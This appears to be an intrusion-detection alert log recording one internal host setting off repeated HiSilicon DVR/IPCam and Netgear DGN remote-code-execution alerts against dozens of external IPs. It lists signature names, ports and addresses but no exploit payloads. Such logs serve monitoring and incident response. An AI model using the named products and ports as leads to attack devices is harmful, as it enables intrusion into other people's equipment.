Timestamp:	05/16/24-16:39:08.127156
SID:	2030488
Source Port:	37482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.91.71.129

Timestamp:	05/16/24-16:39:05.713678
SID:	2030488
Source Port:	51990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.91.71.129

Timestamp:	05/16/24-16:39:05.713678
SID:	2030487
Source Port:	51990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.62.160.78

Timestamp:	05/16/24-16:39:02.745933
SID:	2030488
Source Port:	44524
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.62.160.78

Timestamp:	05/16/24-16:39:02.745933
SID:	2030487
Source Port:	44524
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.138.126.205

Timestamp:	05/16/24-16:38:59.518446
SID:	2030487
Source Port:	35256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.138.126.205

Timestamp:	05/16/24-16:38:59.518446
SID:	2030488
Source Port:	35256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 28.192.76.236

Timestamp:	05/16/24-16:39:01.475837
SID:	2029215
Source Port:	58292
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.55.141.145

Timestamp:	05/16/24-16:38:55.176088
SID:	2030487
Source Port:	37398
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.55.141.145

Timestamp:	05/16/24-16:38:55.176088
SID:	2030488
Source Port:	37398
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.99.84.238

Timestamp:	05/16/24-16:39:05.707683
SID:	2030487
Source Port:	54478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.99.84.238

Timestamp:	05/16/24-16:39:05.707683
SID:	2030488
Source Port:	54478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.150.115.62

Timestamp:	05/16/24-16:39:08.041222
SID:	2030487
Source Port:	36044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.63.17.145

Timestamp:	05/16/24-16:38:57.304636
SID:	2030487
Source Port:	36694
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.150.115.62

Timestamp:	05/16/24-16:39:08.041222
SID:	2030488
Source Port:	36044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.63.17.145

Timestamp:	05/16/24-16:38:57.304636
SID:	2030488
Source Port:	36694
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 173.127.104.48

Timestamp:	05/16/24-16:39:13.661858
SID:	2029215
Source Port:	37620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 194.35.222.211

Timestamp:	05/16/24-16:39:14.494517
SID:	2030488
Source Port:	53986
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 194.35.222.211

Timestamp:	05/16/24-16:39:14.494517
SID:	2030487
Source Port:	53986
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 109.39.36.80

Timestamp:	05/16/24-16:38:50.047775
SID:	2030487
Source Port:	42450
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 109.39.36.80

Timestamp:	05/16/24-16:38:50.047775
SID:	2030488
Source Port:	42450
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.213.229.3

Timestamp:	05/16/24-16:39:05.675868
SID:	2030488
Source Port:	41338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.213.229.3

Timestamp:	05/16/24-16:39:05.675868
SID:	2030487
Source Port:	41338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.158.215.1

Timestamp:	05/16/24-16:39:14.523153
SID:	2030487
Source Port:	57100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.158.215.1

Timestamp:	05/16/24-16:39:14.523153
SID:	2030488
Source Port:	57100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 190.13.31.229

Timestamp:	05/16/24-16:38:57.435741
SID:	2030487
Source Port:	34070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 190.13.31.229

Timestamp:	05/16/24-16:38:57.435741
SID:	2030488
Source Port:	34070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.240.133.15

Timestamp:	05/16/24-16:39:08.126426
SID:	2030488
Source Port:	52066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.74.97.251

Timestamp:	05/16/24-16:39:02.727953
SID:	2030488
Source Port:	36836
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.74.97.251

Timestamp:	05/16/24-16:39:02.727953
SID:	2030487
Source Port:	36836
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.134.169.127

Timestamp:	05/16/24-16:39:08.146117
SID:	2030488
Source Port:	47988
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.134.169.127

Timestamp:	05/16/24-16:39:08.146117
SID:	2030487
Source Port:	47988
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.143.218.216

Timestamp:	05/16/24-16:39:16.580725
SID:	2030487
Source Port:	39938
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.143.218.216

Timestamp:	05/16/24-16:39:16.580725
SID:	2030488
Source Port:	39938
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.213.253.232

Timestamp:	05/16/24-16:38:50.052410
SID:	2030488
Source Port:	40248
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.213.253.232

Timestamp:	05/16/24-16:38:50.052410
SID:	2030487
Source Port:	40248
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.150.189.46

Timestamp:	05/16/24-16:39:14.529066
SID:	2030487
Source Port:	59664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.150.189.46

Timestamp:	05/16/24-16:39:14.529066
SID:	2030488
Source Port:	59664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.152.0.15

Timestamp:	05/16/24-16:39:05.706099
SID:	2030487
Source Port:	48732
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.152.0.15

Timestamp:	05/16/24-16:39:05.706099
SID:	2030488
Source Port:	48732
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.138.18.43

Timestamp:	05/16/24-16:38:57.409938
SID:	2030488
Source Port:	51944
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.211.80.131

Timestamp:	05/16/24-16:39:12.295488
SID:	2030488
Source Port:	53766
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.138.18.43

Timestamp:	05/16/24-16:38:57.409938
SID:	2030487
Source Port:	51944
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.211.80.131

Timestamp:	05/16/24-16:39:12.295488
SID:	2030487
Source Port:	53766
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 203.127.154.60

Timestamp:	05/16/24-16:38:57.304851
SID:	2030487
Source Port:	54176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.150.63.134

Timestamp:	05/16/24-16:39:08.047676
SID:	2030488
Source Port:	44926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 203.127.154.60

Timestamp:	05/16/24-16:38:57.304851
SID:	2030488
Source Port:	54176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.150.63.134

Timestamp:	05/16/24-16:39:08.047676
SID:	2030487
Source Port:	44926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.18.134.23

Timestamp:	05/16/24-16:39:03.277951
SID:	2030488
Source Port:	55192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.18.134.23

Timestamp:	05/16/24-16:39:03.277951
SID:	2030487
Source Port:	55192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.231.19.138

Timestamp:	05/16/24-16:39:08.144204
SID:	2030487
Source Port:	51888
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.231.19.138

Timestamp:	05/16/24-16:39:08.144204
SID:	2030488
Source Port:	51888
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.113.3.114

Timestamp:	05/16/24-16:39:08.041153
SID:	2030488
Source Port:	56680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.113.3.114

Timestamp:	05/16/24-16:39:08.041153
SID:	2030487
Source Port:	56680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.11.142.115

Timestamp:	05/16/24-16:39:05.711672
SID:	2030488
Source Port:	50664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.106.208.176

Timestamp:	05/16/24-16:39:08.128024
SID:	2030488
Source Port:	55244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.11.142.115

Timestamp:	05/16/24-16:39:05.711672
SID:	2030487
Source Port:	50664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.106.208.176

Timestamp:	05/16/24-16:39:08.128024
SID:	2030487
Source Port:	55244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.92.165.85

Timestamp:	05/16/24-16:39:12.383681
SID:	2030487
Source Port:	56474
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.92.165.85

Timestamp:	05/16/24-16:39:12.383681
SID:	2030488
Source Port:	56474
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 194.152.174.58

Timestamp:	05/16/24-16:38:50.047743
SID:	2030488
Source Port:	33664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 194.152.174.58

Timestamp:	05/16/24-16:38:50.047743
SID:	2030487
Source Port:	33664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.156.69.220

Timestamp:	05/16/24-16:39:14.520205
SID:	2030488
Source Port:	53894
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.156.69.220

Timestamp:	05/16/24-16:39:14.520205
SID:	2030487
Source Port:	53894
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.97.236.160

Timestamp:	05/16/24-16:38:50.047387
SID:	2030488
Source Port:	53566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 89.97.236.160

Timestamp:	05/16/24-16:38:50.047387
SID:	2030487
Source Port:	53566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.195.185.156

Timestamp:	05/16/24-16:39:14.517408
SID:	2030488
Source Port:	39064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.195.185.156

Timestamp:	05/16/24-16:39:14.517408
SID:	2030487
Source Port:	39064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 44.162.205.150

Timestamp:	05/16/24-16:38:59.604413
SID:	2030487
Source Port:	45764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.157.123.157

Timestamp:	05/16/24-16:39:14.507678
SID:	2030488
Source Port:	44886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.157.123.157

Timestamp:	05/16/24-16:39:14.507678
SID:	2030487
Source Port:	44886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.162.205.150

Timestamp:	05/16/24-16:38:59.604413
SID:	2030488
Source Port:	45764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.240.133.15

Timestamp:	05/16/24-16:39:08.126426
SID:	2030487
Source Port:	52066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.69.70.247

Timestamp:	05/16/24-16:38:57.424467
SID:	2030488
Source Port:	38434
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.69.70.247

Timestamp:	05/16/24-16:38:57.424467
SID:	2030487
Source Port:	38434
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 173.152.16.207

Timestamp:	05/16/24-16:39:03.262309
SID:	2030488
Source Port:	53468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 173.152.16.207

Timestamp:	05/16/24-16:39:03.262309
SID:	2030487
Source Port:	53468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.64.6.116

Timestamp:	05/16/24-16:39:16.579421
SID:	2030488
Source Port:	46498
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.64.6.116

Timestamp:	05/16/24-16:39:16.579421
SID:	2030487
Source Port:	46498
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.107.157.147

Timestamp:	05/16/24-16:39:08.041144
SID:	2030487
Source Port:	56568
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.107.157.147

Timestamp:	05/16/24-16:39:08.041144
SID:	2030488
Source Port:	56568
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.110.72.46

Timestamp:	05/16/24-16:39:12.384774
SID:	2030487
Source Port:	54664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.110.72.46

Timestamp:	05/16/24-16:39:12.384774
SID:	2030488
Source Port:	54664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.162.44.71

Timestamp:	05/16/24-16:38:55.206800
SID:	2030488
Source Port:	53878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.172.76.255

Timestamp:	05/16/24-16:39:02.767200
SID:	2030487
Source Port:	59188
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.162.44.71

Timestamp:	05/16/24-16:38:55.206800
SID:	2030487
Source Port:	53878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.172.76.255

Timestamp:	05/16/24-16:39:02.767200
SID:	2030488
Source Port:	59188
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 64.205.122.221

Timestamp:	05/16/24-16:38:49.278138
SID:	2034576
Source Port:	51984
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.185.189.13

Timestamp:	05/16/24-16:39:16.603152
SID:	2030488
Source Port:	40728
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.185.189.13

Timestamp:	05/16/24-16:39:16.603152
SID:	2030487
Source Port:	40728
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.58.155.35

Timestamp:	05/16/24-16:38:59.609910
SID:	2030488
Source Port:	46592
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.58.155.35

Timestamp:	05/16/24-16:38:59.609910
SID:	2030487
Source Port:	46592
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.179.112.81

Timestamp:	05/16/24-16:38:53.071733
SID:	2030487
Source Port:	42984
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.179.112.81

Timestamp:	05/16/24-16:38:53.071733
SID:	2030488
Source Port:	42984
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.25.82.6

Timestamp:	05/16/24-16:39:03.277945
SID:	2030488
Source Port:	35758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.200.80.155

Timestamp:	05/16/24-16:38:53.099175
SID:	2030488
Source Port:	53192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.25.82.6

Timestamp:	05/16/24-16:39:03.277945
SID:	2030487
Source Port:	35758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.200.80.155

Timestamp:	05/16/24-16:38:53.099175
SID:	2030487
Source Port:	53192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.129.11.88

Timestamp:	05/16/24-16:38:50.004139
SID:	2030488
Source Port:	38548
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

